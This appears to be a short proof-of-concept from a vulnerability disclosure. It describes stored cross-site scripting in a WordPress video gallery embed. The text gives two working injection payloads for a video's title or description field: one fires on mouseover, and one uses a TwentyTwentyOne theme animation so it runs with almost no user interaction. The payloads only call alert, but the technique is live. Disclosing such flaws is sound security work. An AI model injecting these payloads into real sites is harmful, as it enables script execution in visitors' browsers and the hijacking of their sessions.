Add the following payload in the Title or Description of a Video added in a List/Gallery: "onmouseover=alert(/XSS/)//
Then view the page/post with the embed gallery and move the mouse over the related video to trigger the XSS

If the theme used is TwentyTwentyOne, the following payload can be used to trigger the XSS with minimal user interaction: a" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/XSS/)//
